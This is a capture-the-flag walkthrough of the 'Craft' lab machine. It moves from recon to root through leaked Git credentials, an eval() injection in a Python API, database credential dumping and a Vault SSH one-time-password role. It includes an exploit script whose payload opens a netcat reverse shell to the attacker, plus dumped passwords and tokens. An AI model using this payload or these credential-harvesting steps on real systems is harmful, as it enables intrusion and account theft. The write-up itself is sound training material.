Craft
Be the hero of your own story!
Craft is a medium difficulty machine running Linux. It tests your knowledge in Git and Python as well as tests your ability to review documentation of programs you may not have come across before. This machine isn’t difficult but like most things if you think too much in to the situation it will seem harder than it really is.
Be sure to checkout the Basic Setup section before you get started.
Enumeration
Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.
Portscan
First off let’s do our portscan so we know what services may be running:
portscan craft.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-14 17:46 PST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
6022/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=12/14%Time=5DF59092%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.67 seconds
We find three open ports and two different services. Ports 22
and 6022
has ssh
services running and port 443
has the nginx
service running. Knowing that nginx
is a web service lets enumerate any other directories or vhosts.
VHosts
Gobuster has three different modes. We will take a look at the vhost
mode for bruteforcing virtual hosts.
Doing a scan with Gobuster reveals two additional vhosts for craft.htb
:
gobuster vhost -u https://craft.htb -t 30 -k -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://craft.htb
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/15 00:45:22 Starting gobuster
===============================================================
Found: api.craft.htb (Status: 404) [Size: 233]
Found: vault.craft.htb (Status: 404) [Size: 19]
===============================================================
2019/12/15 00:44:19 Finished
===============================================================
Let’s add them to our /etc/hosts
so we can navigate to these pages.
Domains
First we navigate to https://craft.htb
which is the main domain. We come across a website:
On this page we can see two links to the right of the top navbar.
The API Link api.craft.htb/api/
takes us to what seems to be documentation and demonstration of the Craft API
:
The other icon is the Git logo which links to https://gogs.craft.htb
another vhost.
Adding gogs.craft.htb to /etc/hosts
we navigate to a self-hosted git service called “Gogs”:
Foothold
When going to the Explore link at Gogs we see a public repository called Craft/craft-api
:
Information Leak
On inspection of the repo we find a submitted issue by Dinesh Chugtai
:
We find that Dinesh references the command:
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
The issue seems to be in regards to bogus abv
values being able to be added to the database. Dinesh is asked by the developers to push a fix to the repository which he does:
We see that Dinesh, for whatever reason, has opted to use pythons eval()
function with %s
allowing a custom string.
A comment made by another developer confirms this is most likey the case:
When trying to use Dinesh’s curl
command we found earlier in the issue we get the response: {"message": "The browser (or proxy) sent a request that this server could not understand."}
If we try to use it with other commands found at the api page such as:
curl -X GET "https://api.craft.htb/api/auth/check" -H "accept: application/json" -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -k
We get the reponse {"message": "Invalid token or no token found."}
. The token is potentially not valid anymore.
Digging Deeper
Going back to searching the repository we find a tests
directory that contains a python script that was created by Dinesh. It seems he was using it to run tests on his awesome “fix”:
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
We may be able to use this to inject our payload!
We see that the script uses the api call /auth/login
to obtain a token. From the api page we see that this api call creates an authentication token and requires a username and password:
Does this mean we need to find a username and password? I would say so. The username and password are most likley the parameters that go into auth=('', '')
in our script.
Good thing Dinesh is using git I’d say. Let’s check if this script is a revision of a previous version. Taking a look we see the current commit is a2d28ed155
with the message Cleanup test
. Here we can see the changes that were made:
And there we have it:
dinesh:4aUh...VJxgd
Now let’s setup our script:
###
# exploit.py
###
#!/usr/bin/env python
import requests
import json
import sys
import urllib3
urllib3.disable_warnings()
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh...VJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
command = '__import__("os").system("nc <your-ip> 1337 -e sh")'
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = command
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
We have our script named exploit.py
that contains Dinesh’s modified code. As you can see we have added a variable named command
that contains __import__("os").system("nc <your-ip> 1337 -e sh")
. Be sure to change <your-ip>
to your own IP address.
Then we can setup our netcat listener:
nc -lvp 1337
Now all that is left to do is run our modified script:
python exploit.py
Once connected running the command id
shows that we are root
. However, on closer inspection we find that we are in a chroot
environment. We can check this by running the command ls -di /
if the output is anything but 2
it can indicate that we are chrooted:
ls -di /
19256 /
Checking the hostname we see that we are most likely in a docker container:
hostname
5a3d243127f5
Chroot
Since we are in a “jail” our first thoughts are most likely “We have to break out!”. Now before we get carried away the first thing I do when I get a shell is check what we have in our working directory.
Taking a look we find some files and folders:
ls -la
total 36
drwxr-xr-x 5 root root 4096 Jan 4 09:51 .
drwxr-xr-x 1 root root 4096 Feb 9 2019 ..
drwxr-xr-x 8 root root 4096 Feb 8 2019 .git
-rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore
-rw-r--r-- 1 root root 1585 Feb 7 2019 app.py
drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api
-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py
drwxr-xr-x 2 root root 4096 Feb 7 2019 tests
The first thing I notice is the dbtest.py
as this file was in the craft_api
respository. Since we know that Dinesh loves his test scripts let’s check it out:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
This script takes in credentials and tests the database using the python module pymysql
. There may be creds somewhere! In the script we also see that it imports settings with from craft_api import settings
.
Let’s take a peak in the craft_api
directory:
ls -la craft_api
total 24
drwxr-xr-x 5 root root 4096 Feb 7 2019 .
drwxr-xr-x 5 root root 4096 Dec 17 09:35 ..
-rw-r--r-- 1 root root 0 Feb 7 2019 __init__.py
drwxr-xr-x 2 root root 4096 Feb 7 2019 __pycache__
drwxr-xr-x 5 root root 4096 Feb 7 2019 api
drwxr-xr-x 3 root root 4096 Feb 7 2019 database
-rw-r--r-- 1 root root 484 Feb 7 2019 settings.py
Theres our settings. Taking a look at settings.py
we see credentials for the MySQL server:
cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
This means dbtest.py
should work. Running the script succeeds and we get some output:
python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}
Nice! Taking a closer look at the code I notice the use of cursor.fetchone()
. Checking the MySQL documentation for cursor.fetchone() this method returns a single record. We don’t want any restrictions here. Within the docs we also see cursor.fetchall() which fetches all the rows of a query result. This is what we need!
Let’s update the script with this change and also make life easier for ourselves by adding an argument for the script. This way we can just download our updated script once and then run any MySQL queries from the commandline as we see fit.
This is now what we have:
#!/usr/bin/env python
import pymysql
from craft_api import settings
import sys
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = sys.argv[1]
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
Let’s test our script starting with seeing what tables are available:
python dbtest.py "show tables;"
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
We find two tables brew
and user
. Let’s checkout what user info we can get:
python dbtest.py "select * from user;"
[{'id': 1, 'username': 'dinesh', 'password': '4aUh...VJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ7...LPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3...rh4T'}]
Awesome! More creds. Maybe there is no need to be breaking out of any jails this time…
User
None of the creds work on ssh
. But what I did notice was that the ssh service on port 6022
needs a ssh key. There might be one lying about somewhere. Both the users ebachman
and gilfoyle
were the developers speaking with dinesh
in the repo issue. Git has been known to cause some security issues in the real world so I think we have a theme going on here. Let’s see if we can login to Gogs
with one of these users.
Yep! We can login as gilfoyle
:
We see that gilfoyle
has a private repo called craft-infra
. Within that repo we see some directories including an .ssh
directory and a directory called vault
which I am going to assume is related to the vault
vhost we found earlier:
Within the .ssh
directory we find gilfoyle
’s ssh private key:
Attempting to use the ssh key we get asked for a passphrase. Using gilfoyle
’s password we got from the MySQL database again gets us access:
ssh -i id_rsa-gilfoyle gilfoyle@craft.htb
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa-gilfoyle':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa....9cd5a612d4
Ok so we have found the user.txt
flag finally… Let’s move on to root
.
Root
On inspection of the home directory we see some hidden files and folders. Here we can see a file called .vault-token
which must be related to the vault
domain we found earlier as well as the vaults
folder in gilfoyle
’s repository:
ls -la
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb 9 2019 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb 9 2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Let’s go back to Gog
and research what all this vault
stuff is about. Taking a look in the vaults
directory of gilfoyle
’s repo we see that there is a Dockerfile
for a docker image called vault
by hashicorp.com. Checking out the documentation we see that Vault is used to “Manage Secrets and Protect Sensitive Data”.
In the vaults
directory I also find a bash script named secrets.sh
:
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
I find a page in the documentation regarding this setting and which turns out to be One-Time SSH Passwords. The command vault secrets enable ssh
mounts the secrets engine and the vault write ssh/roles/root_otp
is creating a role called root_otp
. On further reading the documentation I see that connecting via ssh can be “automated”.
Let’s see if we have access to the vault
command in gilfoyle
’s account:
vault
Usage: vault <command> [args]
Common commands:
read Read data and retrieves secrets
write Write data, configuration, and secrets
delete Delete secrets and configuration
list List data or secrets
login Authenticate locally
agent Start a Vault agent
server Start a Vault server
status Print seal and HA status
unwrap Unwrap a wrapped secret
Other commands:
audit Interact with audit devices
auth Interact with auth methods
kv Interact with Vaults Key-Value storage
lease Interact with leases
namespace Interact with namespaces
operator Perform operator-specific tasks
path-help Retrieve API help for paths
plugin Interact with Vault plugins and catalog
policy Interact with policies
secrets Interact with secrets engines
ssh Initiate an SSH session
token Interact with tokens
Ok so this is it. Let’s try the ssh automation we found in the documentation. When logging in you have to use the OTP code that is generated to paste into the password prompt:
vault ssh -role root_otp -mode otp root@10.10.10.110
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 90ee1390-dcaf-4663-fa52-9069cf312806
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
root@craft:~# cat root.txt
831d64ef54....ae28a11591
And there you have it. The root.txt
flag… Now that was a fun ride! Congrats we have captured another flag!!
Conclusion
There have been many cases where git has caused large companies to unintentionally expose their data. A recent realworld example is Starbucks exposing their JumpCloud API Key in a GitHub repository. This could have lead to a full AWS Account Takeover. Although the scenarios in this machine may have seemed too far fetched to be seen in the wild the reality is that the problem is becoming more of a regular occurence.